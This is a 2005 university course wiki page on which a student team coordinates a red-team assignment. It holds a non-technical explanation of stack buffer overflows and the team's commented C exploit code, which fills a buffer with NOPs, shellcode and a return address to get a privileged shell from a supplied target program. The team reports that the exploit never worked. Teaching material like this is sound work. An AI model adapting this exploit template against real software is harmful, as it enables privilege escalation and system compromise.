Difference between revisions of "Talk:Team 10 Main"

Revision as of 06:36, 23 October 2005

Welcome to the Group 10 wiki. Here is some info:

Members with preferred email:

Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD

Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD

Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB

Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad

Jessica Miller (jessica@cs.washington.edu) - UW

Marty Lyons (marty@cs.washington.edu) - UW

As of now (14 Oct 2200 PDT) everyone is here except Jessica, pending her addition to the page by Jeff.

Team 10 members

Since we have to write some code etc, I thought I'd check on the background of folks in our team. I know that they tried to make the groups comprise various disciplines, and the stack smashing papers are pretty short of helpful material if you're not coming at this from the Computer Science side. If everyone can just edit this page with their background, we'll get a better idea on how to break up the tasks. Jessica and I are both here at UW and have the ability to sit together and work, which might help.

Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD Computer Science - software engineering and ubiquitous computing (mainly cell phones). I read the assignment and took a look at the code today and since we only need to do sploit1, it doesn't seem too bad. I haven't had a chance to spend too much time on it yet though, just read through the stanford powerpoint slides and the smashing the stack paper. How is everyone else doing?

Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD I'm a Masters student in Computer Science with specialization in Software Engineering. Steven and I will try to meet this Wednesday to go over the project. I've read through the powerpoint slides and some of the papers and am looking at the code right now.

Josefina Lisa Valdez (jlvaldez@berkeley.edu) - UCB Ok, so I am an undergraduate at UC Berkeley, and I am minoring in Public Policy. I have no background in computer science so, I could do reseacrh to answer the questions...Yeah, Brenda and I can also work together since we are both from UC Berkeley.

Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad

Jessica Miller (jessica@cs.washington.edu) - UW

Marty Lyons (marty@cs.washington.edu) - UW

BACKGROUND: Computer Science as a systems programmer and network engineer. My C coding skills are marginal since I haven't done anything with the language in (gasp) 10 years, but I should be able to recall enough to sort out the project. I'm limited in typing since I've got bad hand tendonitis; so programming involving lots of keyboard time is something I try to avoid if possible.

Working on code -- joint dev using IM

I'm logged into the ucsd dev machine now (Sunday, 6 PM) and I see Steven is there too. If anyone else has AOL Instant Messenger, we can chat that way if we want to work together. I'm on AOL IM as "GoPolar". -- Marty at UW

I've made substantial progress on the code tonight (Sunday) and will likely finish sometime tomorrow afternoon (Monday) if all goes well. At that point, I'm hoping we can get the whole team to co-write the report, particularly the Policy folks. -- Marty at UW, Monday 1 AM

Ok, to be honest, I am a little confused at coding/etc. language, so when you tell us what you did, is there any way to explain what is happening in a non-codish way? I hope that made sense... - Josefina- UCB

Probably the best thing is we'll finish up getting it working (it's close, it's not so much a programming problem anymore, as just understanding some of the terrible documentation they gave us...); then once we have it running, we can write up a summary of how it works.

-- Marty at UW

Working on code -- software folks please read

I've been working on this for quite some time and I have to say the supplied documentation is pretty lacking.

Feel free to look at my code/notes and copy them -- they are in ~cse291g10/sploits/ml/. I'm not a good C programmer by any means so feel free to rewrite (please, make yourself a directory and work off a copy, otherwise we'll all get confused).

I've got things working, but am just trying to finally understand how to arrive at the right addresses. The Stanford powerpoint slides are more confusing than helpful, and I've been finding some other reference material.

-- Marty, Tue, 1 AM

Update: The code compiles clean and is otherwise fine, but I'm having a really hard time parsing the Stanford powerpoint to make sense of how to get the buffer address to reference. Maybe someone else can figure that part out. In theory, all you'll have to do is insert the right address into the code (~cse291g10/sploits/ml/ml.c), run "make", then execute with "./ml". If you get a shell prompt, it worked. It's probably not helping that it's 3:30 AM that I'm not thinking straight on this anymore. I'll pick back up tomorrow afternoon. If someone gets it working by then, just update the wiki. Thanks!

-- Marty (from UW), Tue, 3:30 AM

I tried to figure out the address of the buffer. I was thinking it could be 0xbffff980 because a) this is the contents of the $esp after the buf[] has been allocated in target1 main and b) this is what's being passed into foo as the *out parameter (which is the same as buf[]). I tried to use this address with Marty's code, but I keep getting segmentation faults.

-- Vitaliy Wed 3:00 am

Well, I wish I could say I made progress on this. After six days of hacking, it's not working. I've got a ton of traces, but still can't seem to make this thing fly. I'll keep working on it tonight. If I can't get it working by tomorrow, I'm going to submit what I've got, with a report on why I think it's not running. I can probably offer such a detailed explanation of the process at this point that it will equal if not better running code. But it's more than annoying that the thing doesn't work. -- Marty, Friday, 7 PM

So i've been working on this for the past few hours and even after re-reading the http://thc.org/papers/OVERFLOW.TXT paper its still not working and getting seg faults. the get_sp(void) is given in this paper and should be giving us the correct stackpointer...any word back from the ta? --steven, friday 12am

I've given up. I'm going to write a note to the two TAs that this has essentially been a failed experiment due to inadequate documentation -- the Stanford powerpoint deck was almost useless. I've got about a dozen papers on this technique, and have tried things probably 10 different ways, over six solid days, without anything useful coming of it. I'll write up this part of the report and explain as best I can the difficulty we had. But it shouldn't have been *this crazy difficult*. I'll send the email in a few minutes and copy everyone. When I get back tomorrow afternoon, I'll start working on the paper. This has been a huge disappointment that they gave us a software project which led to nothing but frustration and wasted time. -- Marty, Friday night/Saturday morning 1 AM

Proposed outline of the report

The following is my brainstorming of the outline of our report. Please feel free to modify it or sign up for writing particular sections. Beside the introduction and conclusion, the sections are taken from the project description.

I've moved the report to it's own page on the wiki (from the top level) -- see there for editing. -- Marty

1) Introduction (Why are we doing this exercise?)

-- Jessica

2) description of attack techniques attempted, vulnerabilities exposed, and estimated difficulty

-- Marty

3) Estimated dollar value of the damage that such an attack could cause

-- Josefina and Brenda

4) Estimated feasibility and strategic value of the attack technique to a terrorist organization

-- Josefina and Brenda

5) Feasibility and cost of defending against such attacks

-- Vitaliy

6) Conclusion (What did we learn from our analysis?)

-- Vitaliy and/or Steve

Group 10 report

1) Introduction

(Why are we doing this exercise?)

-- Jessica (already written, below)

Attack Technique

A computer program is composed of a set of instructions (telling the CPU what to do) and the data on which it operates. Computer memory is used by computer programs for temporary storage of information that the CPU needs as it performs the operations that computer programs instruct it to do.

Computer memory is organized in a couple of ways, but the portion of computer memory that this project has taken advantage of is the “stack”. The stack stores temporary data in such a way that the data most recently stored is the first to be retrieved (this is analogous to the way cafeteria dish stacks are used...the last dish in the stack is the first to be used).

Computer programs are organized into procedures (also called functions, methods, and routines). A procedure is a self-contained block of code (i.e. instructions for the computer) that can be run from other blocks of code. Generally speaking, procedures each contain the code necessary to accomplish one task. Each time one procedure calls another procedure a new section of memory is assigned to the procedure being called to store its temporary information. Furthermore, before the computer starts executing the instructions of the called procedure, the computer pushes onto the stack information about where to return in the calling procedure once the new procedure has completed its task. The computer assumes that any new procedure will only use the portion of the stack that it has been given and won’t store any information on other parts of the stack. This assumption is what our attack is based off of.

We have implemented a computer program called sploit1. sploit1 contains one procedure that executes some computer instructions (i.e. some code) and then calls another computer program called target1. target1 contains two procedures: main and foo. target1’s main calls procedure foo, passing it two strings (a string is a type of information composed of alphanumeric characters). foo then copies one of the strings into the other.

The whole program should pointless and benign and regularly would be, but the way sploit1 uses target1 causes the attack. What we have done in sploit one is created a string that contains the instructions of a computer program. This computer program basically gives the user a new command window (this of a Windows dos window) with whatever privileges that target1 has. Here is what the computer memory stack would look like before sploit1 calls target1:

top of the stack computer program to run a new command window other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Then sploit1 creates a temporary buffer that repetitively contains the memory address of the computer program that runs a new command window. Once sploit1 does this the stack has the following contents:

top of the stack address 100 address 100 .... address 100 computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Notice that the new information has been put at the top of the memory stack.

Now sploit1 calls target1 which begins in its main procedure. When this happens, sploit1 passes a reference to the temporary buffer of address 100s to target1. target1 then creates its own buffer that is empty and calls foo. foo then copies the temporary buffer of addresses into target1’s buffer. Before foo is called from target1’s main procedure the stack contains the following contents:

top of the stack end of target1’s main buffer (now empty) ... start of target1’s main buffer (now empty) reference to buffer of addresses return address of next instruction in sploit1 address 100 address 100 .... address 100 (buffer of addresses starts here) computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Again, notice that the new information (target1’s buffer) has been put at the top of the stack.

Now target1’s main procedure is going to call foo and all foo does is copy one string into another. The way we have set it up is that foo is going to copy the buffer of addresses into target1’s temporary empty buffer. Normally, this would be fine and cause no problems but we have expertly crafted the buffer of address to be just larger than target1’s main buffer. In fact, we have created the buffer of addresses to be exactly large enough to overflow target1’s main buffer into where the return address to sploit1 is stored. Once target1’s foo procedure is called, it doesn’t check the size of the two buffers and just blindly copies all of sploit’s temprorary address buffer into target1’s main buffer until it is finished. After foo is finished running the stack now contains the following (I have struck through what the stack used to have to give you a reference point):

top of the stack end of target1’s main buffer (now empty) address 100 ... start of target1’s main buffer (now empty) address 100 reference to buffer of addresses address address 100 return address of next instruction in sploit1 address 100 address 100 address 100 .... address 100 (buffer of addresses starts here) computer program to run a new command window (say it starts at address 100) other sploit1 temporary data where to return when sploit1 finishes other information from other programs bottom of the stack

Now when the computer goes to finish executing target1, it sees that it is supposed to return to address 100 and start executing the instructions there. Here is where our malicious code that we set up in sploit1 will be executed!! What makes this especially dangerous in this exercise is that our instructions have made it so that target1 executes with the permissions of an administrator. So when the computer returns to address 100 and brings up a command window, the command window will be running with administrator privileges! This basically means that now we have gotten an command window running with administrator privileges on target1’s computer. This basically means now we could do anything we wanted with target1’s computer (including erasing the entire harddrive).

Granted, this exercise has its limitations. We know that the computer program target1 is on the target computer and we know exactly how target1 works (they gave us its source code!) so we could take advantage of the fact that it copies one buffer to another without checking the sizes of the two buffers. It also is a bit contrived because we know that target1 has been set to run with administrator privileges. Normally an attacker would have to cleverly figure all of this information out. However, this could be quite easy for an IT employee to do.

2) description of attack techniques attempted, vulnerabilities exposed, and estimated difficulty

-- Marty

3) Estimated dollar value of the damage that such an attack could cause

-- Josefina and Brenda

4) Estimated feasibility and strategic value of the attack technique to a terrorist organization

-- Josefina and Brenda

5) Feasibility and cost of defending against such attacks

-- Vitaliy

6) Conclusion

(What did we learn from our analysis?)

-- Vitaliy and/or Steve

Final version of code (not working)

This is the final version of code, which does not yet run. It is fully documented, and should be at least interesting and useful if you'd like to try to read it. Hopefully the notes inside (preceeded by "//") will help explain what is happening. NOTE! The wiki software tries to format the programming and puts boxes around things and so on. I have no idea how to prevent this from happening. So I'll email everyone a copy of the code as well.

g10.c -- available online at /home/cse291g10/sploits/ml/g10.c =========

1. include <stdio.h>
2. include <stdlib.h>
3. include <string.h>
4. include <unistd.h>
5. include <errno.h>
6. include "shellcode.h"
7. define TARGET "/home/cse291g10/sploits/ml/target1"
8. define BUFFER 164
9. define DEFAULT_OFFSET 0x50
10. define NUL 0x00
11. define NOP 0x90

/* CSE P590TU - Group 10 - Red Team Project, 22 October 2005

               Steven Boray Huang (sbhuang@cs.ucsd.edu) - UCSD
               Vitaliy B. Zavesov (zavesov@yahoo.com) - UCSD
               Brenda Hernandez (brenn25@berkeley.edu) - UCB-Ugrad
               Lisa Valdez Josefina (jlvaldez@berkeley.edu) - UCB
               Marty Lyons (marty@cs.washington.edu) - UW
               Jessica Miller (jessica@cs.washington.edu) - UW

• /

/* Pre-processor definitions

  TARGET : supplied target to execute.  target1 copies passed string param
           into a fixed size 64 character buffer.
  BUFFER : the size of the buffer we will fill.  Goal is to overrun the 
           TARGET with enough room to run the shell contained in shellcode.h
  DEFAULT_OFFSET: number of bytes "backward" (increasing address) from current
           stack pointer ($esp).

  --------------------------------------------------------------------------

  From the assignment README:

  1. "Must therefore hard-code target stack locations in your exploits."
     (should not use function such as get_sp().
  
  2.  Exploit should not take any commend-line arguments.

  --------------------------------------------------------------------------

   IA-32 definitions
   $eip  : instruction pointer
   $esp  : stack pointer (SP)
   $ebp  : frame pointer (FP)/base pointer; points at previous frame
   $eax  : accumulator register
   $ra   : return address, the instruction pointer to be
           restored when a stack frame is recovered for execution

• /

// get_sp returns the current stack pointer address by moving it into the EAX // register. Although not supposed to use this per the README instructions, // we tried to use this routine to help isolate and debug the offset of the // buffer in target1, and to also allow for more advanced work once the initial // assignment was complete.

unsigned long get_sp(void) {

       __asm__("movl %esp, %eax");

}

// Based on "sploit1", use this routine to overrun a buffer in a IA32 // architecture system running Linux. string will be of length larger than // the receiving buffer in the target application will be able to store, // overunning the variable storage area, and also overwriting the // Frame Pointer ($ebp) as well as the Return Address ($ra).

int main() {

// Declarations

 int offset=DEFAULT_OFFSET;    // offset will be the number of bytes "backward"
                               // (increasing address) on the stack will will
                               // move from the current stack pointer ($esp)

 char *args[3];                // arguments  - terminate with null ptr.  used
                               // to pass data into execve. Note that this
                               // data will be allocated in the stack frame
                               // for the current routine (main).

 char *env[1];                 // environment array - terminate with null ptr.
                               // used to pass data into execve.  
                               // Same applies per above.

 char string[BUFFER];          // attack string, of size BUFFER, designed to 
                               // be larger than the receiving application
                               // can store.

 char *ptr = string;           // string will hold the attack code and other
                               // data (i.e. NOPs) to allow the payload to run

 long *addr_ptr = (long *) string;     // initially fill the payload area
                                       // (string) with the address to jump to

 int i;                        // loop counter (reusable)
 int rc;                       // execve return code
 extern int errno;             // global error number - used by execve

 long addrstart = get_sp();    // Get the current stack address, 
                               // using inline assembly call
 printf("Stack address at: 0x%x\n",addrstart);

// When run manually without get_sp to retrieve current stack pointer, // addresses were typically in the range of 0xbffffde0 for the start of the // NOP section. Offsets were generally +- 100 bytes from that address. // The stack starts at 0xbfffffa, which is the beginning of the 4GB virtual // memory area for this process.

 long addr = get_sp()-offset;  // address of buffer to jump to; from gdb dump
 printf("Stack pointer address offset: %x\n",offset);
 printf("Inserting payload starting at address: 0x%x\n",addr);

// Step 1. // Fill the string completely with the newly calculated return address ($ra). // When the buffer is overrun and the stack POPed to return to the calling // routine, this address will be retrieved and JuMPed to -- it will point into // the string area which will be prepended by NOPs and also contain the // shellcode.

 for ( i = 0; i < BUFFER; i+=4 )   // fill our attack string with desired $ra
 {
    *( addr_ptr++ ) = addr;
 }

// Step 2. // The string is now loaded with addresses of the attack string. Starting at // the beginning of that string overwrite half of the length of the string with // NOPs. Since we cannot be sure that the addresses in place (above) are // exactly accurate, the NOPs will pad the area so we don't miss the start of // the actual payload.

 for (i = 0; i < BUFFER/2; i++) {
    *( ptr++ ) = NOP;
 }
                               

// Step 3. // Insert the shellcode (45 bytes) which contains the actual attack. In this // case, it contains a compiled and loadable version of /bin/sh. When run, we // will have a shell with privileges if the target routine // (i.e. /tmp/target1) has those permissions set.

// printf("String length of shellcode is %i\n",strlen(shellcode));

 for ( i = 0; i < strlen( shellcode ); i++ )  {
    *( ptr++ ) = shellcode[i]; 
 }                             
 *(ptr++) = NUL;                       // null terminate the string
 

// Call framework for execve. // Note that this data will be written into the current stack frame near the // bottom (high memory), and will overwrite some of the addresses laid // down in Step 1.

 args[0] = TARGET;
 args[1] = string; 
 args[2] = NULL;                       
 env[0] = NULL;
 

// Invoke execve with parameter pointing to the target code to execute, and // the string containing the addresses, NOPs, and attack code (shellcode).

 rc = execve(TARGET, args, env);
 

// If return from execve failed, print Unix error message in human format.

 if ( rc < 0 ) {
   perror("Error in execve");          // Produce Unix text error codes
 }
 return 0;                             // Exit normal

}